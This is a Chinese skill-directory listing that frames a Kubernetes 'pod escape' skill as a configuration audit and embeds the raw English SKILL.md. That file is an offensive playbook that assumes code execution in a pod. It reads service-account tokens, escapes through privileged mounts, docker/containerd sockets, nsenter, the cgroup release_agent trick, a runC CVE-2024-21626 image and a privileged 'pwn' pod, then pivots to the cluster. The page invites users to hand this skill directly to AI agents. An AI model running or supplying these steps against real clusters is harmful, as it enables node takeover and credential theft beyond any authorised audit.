k8s-pod-escape
它能做什么
这项技能说明可能让容器突破到 Kubernetes 节点的设置,例如特权模式、有风险的主机挂载以及主机命名空间。适合审查 Pod 配置的平台团队和安全团队。
适用场景
- ✓当平台团队要求智能体检查其 Pod 是否以特权模式运行或挂载了主机路径时。
- ✓当智能体检查 Pod 的能力和挂载,以判断一次攻陷可能波及的范围时。
- ✓当审计报告需要说明哪些 Pod 设置需要修改以降低节点风险时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们已获授权的测试集群中,是否有 Pod 以特权模式运行或挂载了主机文件夹?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体读取每个 Pod 的安全设置、能力列表和卷挂载,并标记那些可以通往节点的配置。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Kubernetes Pod Escape to Node
You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.
Phase 1: Enumerate the container
# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname
# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods
Phase 2: Detect escape primitives (check each, escalate via the first that works)
2.1 Privileged container
# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*
# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.
2.2 hostPath mount to / or /etc or /var/run/docker.sock
# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null
# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'
2.3 hostPID + SYS_PTRACE (no privileged needed)
# hostPID lets you see all node processes
ps auxf | head
# SYS_PTRACE in CapEff lets you inject into them
grep CapEff /proc/self/status
# 0000000000080000 includes CAP_SYS_PTRACE
# Find a host-side root process and inject a shell
nsenter -t 1 -m -u -i -n -p sh
# 'nsenter -t 1' enters PID 1's namespaces — that's the host's init on a node with hostPID
2.4 CAP_SYS_ADMIN without --privileged
# Common in CI/CD runners (Docker-in-Docker patterns)
grep CapEff /proc/self/status # 00000000a82425fb or similar with bit 21 set
# cgroup_release_agent escape (kernel < 5.8 on hosts without user-NS isolation)
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
echo 1 > /tmp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > /tmp/host_ip
id > /tmp/host_id
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/cgroup.procs"
# /tmp/host_id now contains the HOST's id output
2.5 runC CVE chain (CVE-2024-21626 "Leaky Vessels")
If runC < 1.1.12 / Docker < 25.0.3 / containerd < 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading /etc/docker/version if exposed.
# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
ENTRYPOINT ["/bin/sh"]
EOF
docker build -t evil .
# Then run on target node — the WORKDIR points fd 8 (an open kernel FD) → host FS access
docker run --rm -it evil
2.6 Service-account token → API server abuse
If the SA has pods/exec on a privileged pod or nodes/proxy on the node:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# List privileged pods
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/pods?fieldSelector=spec.securityContext.privileged=true
# Or: SA has `create pods` on kube-system → run a privileged pod yourself
kubectl --token="$TOKEN" --server=https://kubernetes.default.svc \
--insecure-skip-tls-verify run pwn --image=alpine \
--overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","-t","1","-m","-u","-i","-n","-p","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'
Phase 3: Post-escape on node
Once you're on the node, pivot to the cluster:
``
常见问题
特权容器允许什么?
该技能指出,它让容器可以广泛访问主机内核和设备,这是一项重大风险。
什么是 hostPath 挂载?
它是把节点上的某个文件夹映射到 Pod 中的卷,敏感的文件夹可能提供逃离容器的路径。
谁应该进行这些检查?
有权检查其集群的平台团队和安全团队。
详情
作者的原始描述
Kubernetes pod escape to node — privileged container abuse, hostPath mount escape, hostPID/hostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise.
热度
- GitHub 星标
- 6.5k
- 排名
- #13990
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …